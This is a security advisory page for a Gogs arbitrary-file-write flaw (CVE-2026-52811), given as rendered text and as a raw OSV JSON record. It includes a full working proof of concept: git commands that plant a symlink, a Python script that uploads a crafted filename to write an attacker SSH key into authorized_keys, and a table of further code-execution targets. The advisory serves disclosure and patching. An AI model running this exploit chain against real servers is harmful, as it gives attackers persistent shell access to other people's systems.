Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-89MR-XQFV-758M

    Vulnerability from github – Published: 2026-06-23 17:09 – Updated: 2026-06-23 17:09
    VLAI
    Summary
    Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym
    Details

    Summary

    (*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.

    Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks). Details

    The asymmetric check at internal/database/repo_editor.go:601-612:

    targetPath := path.Join(dirPath, upload.Name)
    if osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY
        return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
    }
    if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }
    

    vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:

    if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
        return errors.New("cannot update file with symbolic link in path")
    }
    

    hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.

    Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.

    Suggested fix

    1. Replace the leaf check at repo_editor.go:606 with hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name)) — the same primitive UpdateRepoFile already uses.
    2. Walk opts.TreePath before the os.MkdirAll(dirPath, ...) at line 583 so that pre-existing symlinked components don't let MkdirAll create directories outside the repo.
    3. Switch iox.CopyFile's open to O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
    4. In database.NewUpload, after pathx.Clean, refuse name containing / or \ outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.

    PoC

    Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osxosutil, iox.CopyFilecom.Copy, identical logic).

    Reproduction prerequisites

    • gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows").
    • Two attacker accounts on the gogs instance with write to a repo attacker/playground (repo creators are admins of their own repos).
    • git ≥ 2.x with core.symlinks=true (Linux/macOS default).
    • Python 3 stdlib only — curl -F does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.

    Why curl alone is unreliable

    Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\XX) yields a single \ in the parsed filename, which pathx.Clean then turns into /.

    Shell form Wire bytes Go parses to upload.Name Triggers?
    -F "...filename=a\b" a\b ab ab no
    -F "...filename=a\\b" (double quotes) a\b ab ab no
    -F '...filename=a\\b' (single quotes) a\\b a\b a/b yes

    The Python below removes the ambiguity.

    Step 1 — plant the directory symlink

    git clone https://attacker:attacker_password@gogs.example/attacker/playground
    cd playground
    ln -s /home/git/.ssh hijack
    git add hijack && git commit -m 'docs link' && git push origin main
    cd ..
    

    Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.

    Step 2 — upload + commit

    Save as poc.py:

    #!/usr/bin/env python3
    """PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
    import http.client, ssl, json, re, urllib.parse
    from http.cookies import SimpleCookie
    
    GOGS_HOST  = 'gogs.example'
    USERNAME   = 'attacker'
    PASSWORD   = 'attacker_password'
    REPO_OWNER = 'attacker'
    REPO_NAME  = 'playground'
    BRANCH     = 'main'
    PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
    
    ctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000
    def conn():
        if ctx is None:
            return http.client.HTTPConnection(GOGS_HOST, 3000)
        return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
    
    cookies = {}
    def update_cookies(resp):
        for hdr in resp.msg.get_all('Set-Cookie') or []:
            for name, morsel in SimpleCookie(hdr).items():
                cookies[name] = morsel.value
    def cookie_header():
        return '; '.join(f'{k}={v}' for k, v in cookies.items())
    def get_csrf(html):
        return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
    
    # 1. GET /user/login → session cookie + CSRF
    c = conn(); c.request('GET', '/user/login')
    r = c.getresponse(); update_cookies(r)
    csrf_token = get_csrf(r.read().decode())
    
    # 2. Submit credentials
    c = conn()
    c.request('POST', '/user/login',
        body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
        headers={'Content-Type': 'application/x-www-form-urlencoded',
                 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
    r = c.getresponse(); r.read(); update_cookies(r)
    assert r.status in (302, 303), f'login failed: {r.status}'
    
    # 3. Refresh CSRF for the logged-in session
    c = conn()
    c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
    r = c.getresponse(); html = r.read().decode(); update_cookies(r)
    csrf_token = get_csrf(html)
    
    # 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
    #    Wire form: filename="hijack\\authorized_keys"
    boundary = '----poc-' + 'x' * 16
    filename_on_wire = r'hijack\\authorized_keys'   # 23 chars, 2 of them backslashes
    body = (
        f'--{boundary}\r\n'
        f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
        f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
    ).encode()
    c = conn()
    c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
        'Content-Type': f'multipart/form-data; boundary={boundary}',
        'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
    })
    r = c.getresponse(); upload_resp = r.read().decode()
    print('upload status:', r.status, 'body:', upload_resp)
    uuid = json.loads(upload_resp)['uuid']
    
    # 5. Commit the uploaded file at the repo root.
    c = conn()
    c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
        body=urllib.parse.urlencode({
            '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
            'commit_choice': 'direct', 'files': uuid,
        }),
        headers={'Content-Type': 'application/x-www-form-urlencoded',
                 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
    r = c.getresponse(); r.read()
    print('commit status:', r.status)
    
    python3 poc.py
    # upload status: 200 body: {"uuid":"<UUID>"}
    # commit status: 302
    

    Step 3 — confirm and use the foothold

    sudo cat /home/git/.ssh/authorized_keys           # operator's view
    # → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
    
    ssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker's view
    # → shell as the gogs runtime UID
    

    Server-side trace

    multipart wire bytes:  filename="hijack\\authorized_keys"
    mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
    filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
    pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)
    
    UploadRepoFiles:
      targetPath = <local-r>/<repoID>/hijack/authorized_keys
                 = /home/git/.ssh/authorized_keys               (parent symlink resolved)
      osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
      iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)
    

    Other reachable targets (same primitive)

    Symlink target Effect on next event
    /home/git/.ssh SSH key implant → shell as gogs UID
    <RepoRoot>/<owner>/<repo>.git/hooks Hook overwrite → arbitrary code on next push
    <RepoRoot>/<owner>/<repo>.git core.fsmonitor=<cmd> in config → exec on next git op
    ~git/custom/conf Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart
    Path of the sqlite DB file DoS or admin-row replant

    Independent confirmation against the source

    git clone https://github.com/gogs/gogs.git && cd gogs
    git checkout d7571322
    diff <(sed -n '160,170p' internal/database/repo_editor.go) \
         <(sed -n '601,615p' internal/database/repo_editor.go)
    # Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
    sed -n '13,16p' internal/pathx/pathx.go
    # Confirm: pathx.Clean does ReplaceAll("\\", "/")
    

    Impact

    • Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
    • Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with GOGS_AUTH_USER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
    • Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
    • Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).
    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "Go",
            "name": "gogs.io/gogs"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "0.14.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-52811"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-22",
          "CWE-59",
          "CWE-61"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-23T17:09:55Z",
        "nvd_published_at": null,
        "severity": "CRITICAL"
      },
      "details": "Summary\n\n`(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component \u2014 `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write \u2014 `~git/.ssh/authorized_keys` \u2192 SSH foothold, or `\u003crepo\u003e.git/hooks/post-receive` \u2192 next-push RCE.\n\nWindows builds are unaffected: `filepath.Base` treats `\\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).\nDetails\n\nThe asymmetric check at `internal/database/repo_editor.go:601-612`:\n\n```go\ntargetPath := path.Join(dirPath, upload.Name)\nif osx.IsSymlink(targetPath) {                       // \u2190 LEAF-ONLY\n    return errors.Newf(\"cannot overwrite symbolic link: %s\", upload.Name)\n}\nif err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }\n```\n\nvs. `UpdateRepoFile`\u0027s correct walker at `internal/database/repo_editor.go:163`:\n\n```go\nif hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n    return errors.New(\"cannot update file with symbolic link in path\")\n}\n```\n\n`hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf \u2014 fine inside the loop, wrong as a single call.\n\nMulti-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile(\"file\")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` \u2014 Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, \"\\\\\", \"/\")` \u2014 converting backslashes to forward slashes; (3) `upload.Name = \"evil/foo\"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` \u2014 no `O_NOFOLLOW`, kernel follows symlinks in path. Git\u0027s default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`.\n\nSuggested fix\n\n1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` \u2014 the same primitive `UpdateRepoFile` already uses.\n2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don\u0027t let `MkdirAll` create directories outside the repo.\n3. Switch `iox.CopyFile`\u0027s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat\u2192write TOCTOU at the syscall layer.\n4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.\n\nPoC\n\nTested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`\u2194`osutil`, `iox.CopyFile`\u2194`com.Copy`, identical logic).\n\n### Reproduction prerequisites\n- gogs \u2265 0.14.0 on Linux/macOS (`runtime.GOOS != \"windows\"`).\n- Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos).\n- `git` \u2265 2.x with `core.symlinks=true` (Linux/macOS default).\n- Python 3 stdlib only \u2014 `curl -F` does NOT trigger the bug because shell quoting + Go\u0027s RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.\n\n### Why curl alone is unreliable\n\nBug needs *two* backslash bytes on the wire so Go\u0027s `mime.ParseMediaType` quoted-string rule (`\\X` \u2192 `X`) yields a single `\\` in the parsed filename, which `pathx.Clean` then turns into `/`.\n\n| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |\n|---|---|---|---|---|\n| `-F \"...filename=a\\b\"`  | `a\\b`  | `ab`  | `ab`  | no |\n| `-F \"...filename=a\\\\b\"` (double quotes) | `a\\b`  | `ab`  | `ab`  | no |\n| `-F \u0027...filename=a\\\\b\u0027` (single quotes) | `a\\\\b` | `a\\b` | `a/b` | **yes** |\n\nThe Python below removes the ambiguity.\n\n### Step 1 \u2014 plant the directory symlink\n\n```sh\ngit clone https://attacker:attacker_password@gogs.example/attacker/playground\ncd playground\nln -s /home/git/.ssh hijack\ngit add hijack \u0026\u0026 git commit -m \u0027docs link\u0027 \u0026\u0026 git push origin main\ncd ..\n```\n\nBare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `\u003cconf.AppDataPath\u003e/tmp/local-r/\u003crepoID\u003e/hijack \u2192 /home/git/.ssh`.\n\n### Step 2 \u2014 upload + commit\n\nSave as `poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for gogs UploadRepoFiles parent-symlink \u2192 arbitrary file write.\"\"\"\nimport http.client, ssl, json, re, urllib.parse\nfrom http.cookies import SimpleCookie\n\nGOGS_HOST  = \u0027gogs.example\u0027\nUSERNAME   = \u0027attacker\u0027\nPASSWORD   = \u0027attacker_password\u0027\nREPO_OWNER = \u0027attacker\u0027\nREPO_NAME  = \u0027playground\u0027\nBRANCH     = \u0027main\u0027\nPUBKEY     = \u0027ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\\n\u0027\n\nctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000\ndef conn():\n    if ctx is None:\n        return http.client.HTTPConnection(GOGS_HOST, 3000)\n    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)\n\ncookies = {}\ndef update_cookies(resp):\n    for hdr in resp.msg.get_all(\u0027Set-Cookie\u0027) or []:\n        for name, morsel in SimpleCookie(hdr).items():\n            cookies[name] = morsel.value\ndef cookie_header():\n    return \u0027; \u0027.join(f\u0027{k}={v}\u0027 for k, v in cookies.items())\ndef get_csrf(html):\n    return re.search(r\u0027name=\"_csrf\"\\s+(?:value|content)=\"([^\"]+)\"\u0027, html).group(1)\n\n# 1. GET /user/login \u2192 session cookie + CSRF\nc = conn(); c.request(\u0027GET\u0027, \u0027/user/login\u0027)\nr = c.getresponse(); update_cookies(r)\ncsrf_token = get_csrf(r.read().decode())\n\n# 2. Submit credentials\nc = conn()\nc.request(\u0027POST\u0027, \u0027/user/login\u0027,\n    body=urllib.parse.urlencode({\u0027_csrf\u0027: csrf_token, \u0027user_name\u0027: USERNAME, \u0027password\u0027: PASSWORD}),\n    headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n             \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read(); update_cookies(r)\nassert r.status in (302, 303), f\u0027login failed: {r.status}\u0027\n\n# 3. Refresh CSRF for the logged-in session\nc = conn()\nc.request(\u0027GET\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}\u0027, headers={\u0027Cookie\u0027: cookie_header()})\nr = c.getresponse(); html = r.read().decode(); update_cookies(r)\ncsrf_token = get_csrf(html)\n\n# 4. Hand-built multipart with literal \"\\\\\" (two backslash bytes) in filename.\n#    Wire form: filename=\"hijack\\\\authorized_keys\"\nboundary = \u0027----poc-\u0027 + \u0027x\u0027 * 16\nfilename_on_wire = r\u0027hijack\\\\authorized_keys\u0027   # 23 chars, 2 of them backslashes\nbody = (\n    f\u0027--{boundary}\\r\\n\u0027\n    f\u0027Content-Disposition: form-data; name=\"file\"; filename=\"{filename_on_wire}\"\\r\\n\u0027\n    f\u0027Content-Type: text/plain\\r\\n\\r\\n{PUBKEY}\\r\\n--{boundary}--\\r\\n\u0027\n).encode()\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/upload-file\u0027, body=body, headers={\n    \u0027Content-Type\u0027: f\u0027multipart/form-data; boundary={boundary}\u0027,\n    \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token,\n})\nr = c.getresponse(); upload_resp = r.read().decode()\nprint(\u0027upload status:\u0027, r.status, \u0027body:\u0027, upload_resp)\nuuid = json.loads(upload_resp)[\u0027uuid\u0027]\n\n# 5. Commit the uploaded file at the repo root.\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/\u0027,\n    body=urllib.parse.urlencode({\n        \u0027_csrf\u0027: csrf_token, \u0027tree_path\u0027: \u0027\u0027, \u0027commit_summary\u0027: \u0027docs link\u0027,\n        \u0027commit_choice\u0027: \u0027direct\u0027, \u0027files\u0027: uuid,\n    }),\n    headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n             \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read()\nprint(\u0027commit status:\u0027, r.status)\n```\n\n```sh\npython3 poc.py\n# upload status: 200 body: {\"uuid\":\"\u003cUUID\u003e\"}\n# commit status: 302\n```\n\n### Step 3 \u2014 confirm and use the foothold\n\n```sh\nsudo cat /home/git/.ssh/authorized_keys           # operator\u0027s view\n# \u2192 ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n\nssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker\u0027s view\n# \u2192 shell as the gogs runtime UID\n```\n\n### Server-side trace\n\n```\nmultipart wire bytes:  filename=\"hijack\\\\authorized_keys\"\nmime.ParseMediaType    \u2192 \"hijack\\authorized_keys\"           (quoted-pair: \\\\ \u2192 \\)\nfilepath.Base          \u2192 \"hijack\\authorized_keys\"           (Linux: only / is a separator)\npathx.Clean            \u2192 \"hijack/authorized_keys\"           (\\\\ \u2192 /, then path.Clean)\n\nUploadRepoFiles:\n  targetPath = \u003clocal-r\u003e/\u003crepoID\u003e/hijack/authorized_keys\n             = /home/git/.ssh/authorized_keys               (parent symlink resolved)\n  osx.IsSymlink(targetPath) = false                         (leaf doesn\u0027t exist as a symlink)\n  iox.CopyFile \u2192 os.Create \u2192 OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)\n```\n\n### Other reachable targets (same primitive)\n\n| Symlink target | Effect on next event |\n|---|---|\n| `/home/git/.ssh` | SSH key implant \u2192 shell as gogs UID |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git/hooks` | Hook overwrite \u2192 arbitrary code on next push |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git` | `core.fsmonitor=\u003ccmd\u003e` in `config` \u2192 exec on next git op |\n| `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart |\n| Path of the sqlite DB file | DoS or admin-row replant |\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\ndiff \u003c(sed -n \u0027160,170p\u0027 internal/database/repo_editor.go) \\\n     \u003c(sed -n \u0027601,615p\u0027 internal/database/repo_editor.go)\n# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)\nsed -n \u002713,16p\u0027 internal/pathx/pathx.go\n# Confirm: pathx.Clean does ReplaceAll(\"\\\\\", \"/\")\n```\n\nImpact\n\n- **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) \u2192 upload with crafted filename \u2192 commit \u2192 write to `~git/.ssh/authorized_keys` \u2192 ssh in.\n- Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials).\n- Persistent: symlink and key both survive restart; removing the attacker\u0027s repo access does not undo the SSH foothold.\n- Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git\u0027s `core.symlinks` default).",
      "id": "GHSA-89mr-xqfv-758m",
      "modified": "2026-06-23T17:09:55Z",
      "published": "2026-06-23T17:09:55Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/gogs/gogs/security/advisories/GHSA-89mr-xqfv-758m"
        },
        {
          "type": "WEB",
          "url": "https://github.com/gogs/gogs/pull/8332"
        },
        {
          "type": "WEB",
          "url": "https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/gogs/gogs"
        },
        {
          "type": "WEB",
          "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
          "type": "CVSS_V4"
        }
      ],
      "summary": "Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym"
    }